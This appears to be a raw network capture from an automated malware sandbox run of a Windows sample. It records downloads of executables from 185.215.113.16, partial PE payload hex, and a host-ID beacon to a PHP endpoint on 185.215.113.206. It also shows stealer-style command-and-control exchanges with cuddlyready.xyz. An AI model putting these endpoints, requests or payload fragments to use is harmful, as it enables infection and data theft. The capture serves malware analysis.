Dec 23, 2024 08:53:11.000297070 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:53:12.335170031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:53:11 GMT Content-Type: application/octet-stream Content-Length: 2765312 Last-Modified: Mon, 23 Dec 2024 07:19:04 GMT Connection: keep-alive ETag: "67690ee8-2a3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui`D @ @ @.rsrcD``@.idata f@brdofphe))h@pzoalvov `@.taggant@"@
Dec 23, 2024 08:53:12.335197926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335211039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335330963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335345984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335385084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335398912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:53:12.335705042 CET	1000	IN	Data Raw: 7a bb 37 45 66 99 54 65 36 9a 2e 45 8e a9 2e 45 70 bb 32 45 66 99 54 4b 8e 97 2e 45 6c b9 58 45 66 a6 5e 48 66 f8 2e 45 66 96 2e 45 77 bb 45 45 66 9d ac 59 66 93 38 4f 71 a9 3a 70 ad 9a 36 df 73 9c 9d 5d 66 93 38 b7 89 93 2e b5 8e ac 2e 45 70 bf Data Ascii: z7EfTe6.E.Ep2EfTK.ElXEf^Hf.Ef.EwEEfYf8Oq:p6s]f8..Ep[N.Ep<Eh@E.El/ol3EfTmr.KoIEfVIf4knQnF5mj.K.Ef^Hf.Ef.EwEEfYf8Oq:p6s]f8g..EpVN.Ep<Eh@E.El/ol3EfTN.Ep2EfTM}:
Dec 23, 2024 08:53:12.335716963 CET	1236	IN	Data Raw: d9 93 2e 45 66 d3 42 45 66 bb 34 45 66 b6 83 98 66 fb 48 45 66 a3 2e 45 66 b6 75 9a af d7 2e 45 66 0b 49 45 66 23 31 45 66 b6 70 b1 d5 f5 2e 45 66 93 2e 45 66 95 2e 45 67 ea 6b 47 7a 9c 30 45 66 93 28 47 99 93 44 45 66 94 2e 45 66 b4 2e 45 66 9e Data Ascii: .EfBEf4EffHEf.Efu.EfIEf#1Efp.Ef.Ef.EgkGz0Ef(GDEf.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Xn.Ef.Kf6+p."ny8Kf5o.Kp.Kf85do.qm7Kf5do.n7Kf#6do.m7KfO5do.lZ8Kf4p.5m7Kfj5n.ly8
Dec 23, 2024 08:53:12.335727930 CET	1236	IN	Data Raw: 66 ee 37 45 66 95 2e 89 6b 93 2e 48 66 00 39 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 76 70 93 2e 48 66 ec 38 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 17 6f 93 2e 48 66 4d 39 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 23 6c 93 Data Ascii: f7Ef.k.Hf9E.Ef.Ff3Ef.vp.Hf8E.Ef.Ff3Ef.o.HfM9E.Ef.Ff3Ef.#l.Hf4Ef.o.Jf4Ef.o.Lf2Ef.Zp.Nf74Ef.j.PfJ4Ef.k.Ff6Ef.l.Hf6Nf:8Ff.o.^f:8Of.o.vf:8Uf.o.f:8Uf.o.f:8Uf.o.f:8Zf.o.f:8Uf/o.
Dec 23, 2024 08:53:12.454988956 CET	1236	IN	Data Raw: ad d8 2e 98 ab e6 81 8e b5 e1 71 8d a7 e1 75 8a 66 e6 73 97 bc dc 71 8a c5 e1 7d a4 a9 db 6f 93 ad d8 2e 93 ab e7 70 8e b4 d7 73 93 a7 d5 7a 8a 66 e1 73 99 a8 dc 7c 89 aa dc 81 86 a8 df 73 45 b9 d8 80 9b af d6 73 a4 ab e5 80 94 b8 f2 81 8a bc d8 Data Ascii: .qufsq}o.pszfs\|sEsfsq}~sEyrwsEs}sEywow~s\|fs\|{.\|qwfq\|r
Dec 23, 2024 08:53:17.146846056 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:53:17.583930016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:53:16 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 23 Dec 2024 07:21:00 GMT Connection: keep-alive ETag: "67690f5c-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(pN@NL+@M$a$$ $h@.rsrc$x@.idata $z@ynqricro)$)\|@wjlvyldl`N+@.taggant0pN""+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49808	185.215.113.206	80	1524	C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:53:25.640455961 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:53:26.972745895 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:53:26.985081911 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 43 43 37 37 42 30 42 46 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="hwid"43CC77B0BF3F3235114199------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="build"stok------GHCAKKEGCAAFHJJJDBKJ--
Dec 23, 2024 08:53:27.427815914 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:52:52 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cuddlyready.xyz
2024-12-23 07:52:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:52:52 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kuk3pinogc1il0a9f83jpnkdbi; expires=Fri, 18 Apr 2025 01:39:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iWvpiFGG16xNU5kxaDi4Psat1rFp%2FuAvyGIx8Q9ua%2FuwRnCrZCG%2FZbIJcEzuo2TwGzDzIgVXOZLoHaU1rE34RI7XDhoI3JZ6qzNFe%2BlSfn4ZUMnxVzqnFtulHdJC3lO5mQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c64e49b5433e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&min_rtt=1551&rtt_var=592&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1830721&cwnd=249&unsent_bytes=0&cid=40366d6cfca2ce44&ts=767&x=0"
2024-12-23 07:52:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:52:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49723	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:52:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: cuddlyready.xyz
2024-12-23 07:52:53 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:52:54 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=frb4s30cr8tf8fqfrdd70ue89s; expires=Fri, 18 Apr 2025 01:39:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QHfE4Ured9Wz9zZTo%2FGd3v5m8LS2EDqcYmfZqWY5om1md09y%2FlE92BHaljYc7jEyQW0An3p8%2FE5%2F1v9efIOwyMzjuynTXZk4d0G%2Fs5NAxsLTAKHD%2BmKQ9PUeFeEXGq%2BSdgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c65ab8ce18cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1475&min_rtt=1467&rtt_var=566&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1907250&cwnd=252&unsent_bytes=0&cid=4c670487792b62fc&ts=795&x=0"
2024-12-23 07:52:54 UTC	238	IN	Data Raw: 31 63 61 63 0d 0a 2b 65 55 5a 30 79 57 50 32 51 49 35 4c 58 43 37 31 47 63 49 49 65 78 4b 74 5a 78 77 62 41 45 50 70 50 34 53 5a 5a 50 38 35 48 75 43 78 32 2f 78 48 37 76 31 49 45 70 49 55 6f 47 67 46 58 31 45 77 47 6a 55 2b 46 4a 57 5a 32 37 49 6a 58 64 4a 73 59 71 4a 57 63 4f 44 65 4c 39 57 36 76 55 67 58 46 56 53 67 59 38 63 4b 6b 53 43 61 49 2b 2b 46 51 5a 6a 62 73 69 63 63 77 37 38 6a 49 67 59 6b 59 6c 2b 75 30 44 73 76 57 4e 56 51 42 58 65 73 51 5a 69 54 34 55 6e 33 66 46 53 51 43 4e 71 33 74 77 6f 52 39 36 5a 6b 42 71 30 68 47 71 34 42 2f 4c 31 65 52 74 49 48 70 6e 75 52 57 6c 45 6a 69 62 54 2b 42 73 45 61 57 66 41 6e 58 59 50 34 35 57 43 45 35 47 48 66 62 70 4b 35 61 6c 75 58 30 63 65 32 4c 73 47 Data Ascii: 1cac+eUZ0yWP2QI5LXC71GcIIexKtZxwbAEPpP4SZZP85HuCx2/xH7v1IEpIUoGgFX1EwGjU+FJWZ27IjXdJsYqJWcODeL9W6vUgXFVSgY8cKkSCaI++FQZjbsiccw78jIgYkYl+u0DsvWNVQBXesQZiT4Un3fFSQCNq3twoR96ZkBq0hGq4B/L1eRtIHpnuRWlEjibT+BsEaWfAnXYP45WCE5GHfbpK5aluX0ce2LsG
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 4b 67 33 4f 4c 38 2b 2b 53 6b 34 77 58 38 57 4e 59 52 4c 38 6a 6f 42 5a 68 4d 6c 69 38 55 44 68 2b 7a 67 62 52 78 37 58 73 77 5a 6c 52 49 38 6f 78 66 45 53 44 57 74 6c 77 70 5a 2f 43 50 36 51 6a 42 36 54 6a 6e 79 2b 51 4f 57 39 62 31 67 50 58 4a 6d 78 48 53 6f 62 7a 67 6a 48 2f 52 45 61 62 6e 79 47 67 7a 34 65 73 5a 6d 4b 57 63 50 48 66 62 39 47 34 4c 74 79 55 30 51 5a 33 4b 51 4f 59 30 36 44 4b 4e 72 30 48 51 31 6a 61 73 79 57 66 77 33 31 6b 34 73 66 6d 34 63 37 2f 77 66 71 6f 79 41 44 44 7a 48 63 70 67 4a 6d 56 63 77 53 6c 2b 46 63 46 79 4e 71 79 74 77 6f 52 2f 6d 62 68 52 71 51 69 48 69 35 54 50 2b 37 63 6c 31 43 46 38 75 77 41 47 52 4a 6a 54 72 64 38 42 51 4e 61 6d 62 50 6d 58 63 44 73 64 44 47 48 6f 50 48 49 2f 46 6d 34 4c 42 73 55 56 67 53 6d 61 6c Data Ascii: Kg3OL8++Sk4wX8WNYRL8joBZhMli8UDh+zgbRx7XswZlRI8oxfESDWtlwpZ/CP6QjB6Tjny+QOW9b1gPXJmxHSobzgjH/REabnyGgz4esZmKWcPHfb9G4LtyU0QZ3KQOY06DKNr0HQ1jasyWfw31k4sfm4c7/wfqoyADDzHcpgJmVcwSl+FcFyNqytwoR/mbhRqQiHi5TP+7cl1CF8uwAGRJjTrd8BQNambPmXcDsdDGHoPHI/Fm4LBsUVgSmal
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 6a 72 62 39 42 51 42 62 6d 47 47 30 6a 41 41 36 64 37 65 57 62 47 45 62 37 4a 4e 72 34 35 6a 56 55 45 56 7a 2f 59 61 4a 46 72 4f 4c 39 75 2b 53 6b 35 75 62 4d 36 61 59 67 6a 38 6e 59 67 58 6c 49 4a 30 75 55 66 74 74 6d 56 66 52 42 6e 61 75 77 46 34 53 59 34 67 30 76 38 59 42 43 4d 6a 68 70 74 6f 52 36 6e 65 74 77 36 51 78 55 36 79 53 65 4f 38 64 68 74 51 58 4d 44 32 41 6d 59 44 31 6d 6a 61 39 68 63 4c 62 47 7a 4d 6b 6e 55 4e 2f 5a 61 49 47 6f 6d 49 66 37 46 4c 35 62 46 74 56 55 73 61 30 4c 30 4f 62 45 4f 50 49 70 65 77 55 67 6c 37 4c 5a 37 63 52 41 44 39 6b 34 6c 62 72 6f 52 31 76 30 44 37 2b 33 38 56 56 6c 4c 65 75 6b 55 79 41 34 49 68 31 2f 55 59 43 6d 4e 71 79 35 6c 7a 41 50 4b 54 67 52 4f 56 67 48 2b 39 54 75 43 39 59 46 78 4c 46 38 75 7a 44 47 5a 50 Data Ascii: jrb9BQBbmGG0jAA6d7eWbGEb7JNr45jVUEVz/YaJFrOL9u+Sk5ubM6aYgj8nYgXlIJ0uUfttmVfRBnauwF4SY4g0v8YBCMjhptoR6netw6QxU6ySeO8dhtQXMD2AmYD1mja9hcLbGzMknUN/ZaIGomIf7FL5bFtVUsa0L0ObEOPIpewUgl7LZ7cRAD9k4lbroR1v0D7+38VVlLeukUyA4Ih1/UYCmNqy5lzAPKTgROVgH+9TuC9YFxLF8uzDGZP
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 68 53 45 53 31 30 68 70 74 38 52 36 6e 65 6a 78 43 4a 69 58 57 34 53 75 75 7a 5a 31 56 43 47 64 2b 39 41 6d 31 46 67 79 44 61 2b 78 45 50 5a 32 66 55 6e 33 73 4e 2f 4a 54 47 56 39 75 41 59 2f 45 66 72 5a 78 73 63 6c 38 4a 79 36 42 46 64 51 32 58 61 4e 44 79 55 6c 59 6a 62 73 6d 56 66 77 2f 35 6b 59 6b 64 6c 59 46 39 76 45 4c 69 73 58 4a 54 51 52 2f 53 75 51 35 34 51 34 4d 73 32 2f 6f 61 42 57 6b 74 69 4e 78 33 48 37 48 47 78 69 79 57 69 48 75 79 55 61 32 6b 4c 6b 49 50 46 64 58 32 58 53 70 50 67 43 6a 59 38 68 34 46 61 32 7a 4b 6b 6e 63 43 2b 4a 61 4f 43 35 71 44 63 37 42 4a 34 72 70 6b 58 6b 6f 57 33 72 49 44 5a 51 50 41 61 4e 44 6d 55 6c 59 6a 51 75 47 70 4d 69 62 4c 33 70 6c 58 67 73 64 38 76 51 65 31 2b 32 78 59 51 78 72 57 73 41 78 6d 53 59 63 6a 32 Data Ascii: hSES10hpt8R6nejxCJiXW4SuuzZ1VCGd+9Am1FgyDa+xEPZ2fUn3sN/JTGV9uAY/EfrZxscl8Jy6BFdQ2XaNDyUlYjbsmVfw/5kYkdlYF9vELisXJTQR/SuQ54Q4Ms2/oaBWktiNx3H7HGxiyWiHuyUa2kLkIPFdX2XSpPgCjY8h4Fa2zKkncC+JaOC5qDc7BJ4rpkXkoW3rIDZQPAaNDmUlYjQuGpMibL3plXgsd8vQe1+2xYQxrWsAxmSYcj2
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 67 61 63 4f 54 63 51 62 33 6a 49 45 51 69 59 6c 32 76 6b 2f 6c 73 6d 46 66 53 68 2f 66 75 67 39 72 52 49 41 6d 33 37 35 63 54 6d 52 31 68 73 51 77 4a 75 47 46 6c 41 2b 57 70 6e 61 2b 42 2f 4c 31 65 52 74 49 48 70 6e 75 52 57 4e 52 69 69 58 46 39 78 55 41 62 47 37 55 6e 58 30 4d 34 35 6d 4a 48 5a 79 4c 66 62 35 42 37 4c 35 71 56 30 67 58 30 72 6b 4a 4b 67 33 4f 4c 38 2b 2b 53 6b 35 4e 5a 74 57 4c 63 77 6e 36 69 4a 31 5a 68 4d 6c 69 38 55 44 68 2b 7a 67 62 54 42 6e 53 73 67 56 6d 51 34 6f 6c 31 2b 77 64 43 57 52 6b 7a 59 35 36 41 50 61 56 6a 68 4b 55 67 57 6d 39 53 66 2b 2b 63 6b 6b 50 58 4a 6d 78 48 53 6f 62 7a 68 37 51 37 67 49 4e 49 56 7a 51 6e 32 59 4d 2f 4a 4c 47 42 74 57 65 4f 37 5a 4c 72 65 4d 67 58 55 41 62 32 72 6b 45 59 30 2b 44 4c 64 37 37 45 77 Data Ascii: gacOTcQb3jIEQiYl2vk/lsmFfSh/fug9rRIAm375cTmR1hsQwJuGFlA+Wpna+B/L1eRtIHpnuRWNRiiXF9xUAbG7UnX0M45mJHZyLfb5B7L5qV0gX0rkJKg3OL8++Sk5NZtWLcwn6iJ1ZhMli8UDh+zgbTBnSsgVmQ4ol1+wdCWRkzY56APaVjhKUgWm9Sf++ckkPXJmxHSobzh7Q7gINIVzQn2YM/JLGBtWeO7ZLreMgXUAb2rkEY0+DLd77Ew
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 72 6e 4d 63 73 59 48 49 41 4e 75 41 64 2f 45 66 72 62 68 6e 57 45 34 59 30 4c 6f 4b 62 55 65 63 49 74 44 73 45 77 39 6f 59 4d 71 63 66 51 72 37 6e 34 38 55 6c 34 70 38 74 6b 6a 6f 2b 79 34 62 53 41 71 5a 37 6b 56 4c 54 6f 55 6b 6a 4b 52 53 45 53 31 30 68 70 74 38 52 36 6e 65 68 68 4f 65 6a 58 61 79 53 4f 36 70 59 56 31 64 45 74 53 38 46 32 42 49 69 79 58 61 38 78 45 49 5a 57 62 4b 6a 6e 6b 48 38 70 58 47 56 39 75 41 59 2f 45 66 72 5a 68 33 54 55 55 56 31 61 41 4f 61 30 43 59 4a 63 65 2b 58 45 35 79 61 74 66 63 4b 42 48 68 69 59 45 47 31 5a 34 37 74 6b 75 74 34 79 42 64 52 68 54 65 73 41 74 34 52 6f 67 6e 32 50 63 62 43 6d 74 75 78 70 68 30 41 50 53 64 69 68 4b 63 68 48 53 31 54 75 4f 79 62 78 73 42 55 74 36 75 52 54 49 44 72 7a 50 55 38 68 39 4f 66 43 50 Data Ascii: rnMcsYHIANuAd/EfrbhnWE4Y0LoKbUecItDsEw9oYMqcfQr7n48Ul4p8tkjo+y4bSAqZ7kVLToUkjKRSES10hpt8R6nehhOejXaySO6pYV1dEtS8F2BIiyXa8xEIZWbKjnkH8pXGV9uAY/EfrZh3TUUV1aAOa0CYJce+XE5yatfcKBHhiYEG1Z47tkut4yBdRhTesAt4Rogn2PcbCmtuxph0APSdihKchHS1TuOybxsBUt6uRTIDrzPU8h9OfCP
2024-12-23 07:52:54 UTC	265	IN	Data Raw: 62 47 5a 6e 6c 6e 44 78 31 75 36 55 65 69 38 64 68 6c 36 45 64 65 34 41 6e 77 44 6b 52 65 5a 76 68 30 55 49 7a 58 2f 68 54 41 41 2f 64 37 65 57 59 36 41 65 37 5a 64 2b 37 78 73 53 6b 51 66 31 5a 51 4b 62 56 57 4e 4a 39 54 76 47 30 4a 6f 59 49 62 53 4d 41 44 70 33 74 35 5a 74 49 42 74 73 6d 6a 75 71 6d 6b 62 41 56 4c 65 6f 45 55 79 41 37 42 6f 78 66 30 43 44 57 78 38 2b 4e 77 6f 48 73 2f 65 6a 51 2b 63 6c 33 69 6e 54 4f 43 33 63 57 55 50 53 6f 33 6b 56 7a 67 52 33 44 65 58 34 53 31 41 49 32 79 47 78 45 6b 65 73 59 6a 47 51 63 6e 4a 4f 36 4d 48 74 66 73 6e 57 46 30 41 33 37 55 54 61 51 53 77 46 76 44 6f 47 41 6c 7a 61 74 47 54 4d 45 6d 78 6b 63 5a 42 6f 73 64 79 74 6c 7a 38 72 57 31 4c 53 46 4c 6d 2b 45 56 79 41 39 5a 6f 34 76 30 63 41 47 52 37 31 39 46 58 Data Ascii: bGZnlnDx1u6Uei8dhl6Ede4AnwDkReZvh0UIzX/hTAA/d7eWY6Ae7Zd+7xsSkQf1ZQKbVWNJ9TvG0JoYIbSMADp3t5ZtIBtsmjuqmkbAVLeoEUyA7Boxf0CDWx8+NwoHs/ejQ+cl3inTOC3cWUPSo3kVzgR3DeX4S1AI2yGxEkesYjGQcnJO6MHtfsnWF0A37UTaQSwFvDoGAlzatGTMEmxkcZBosdytlz8rW1LSFLm+EVyA9Zo4v0cAGR719FX
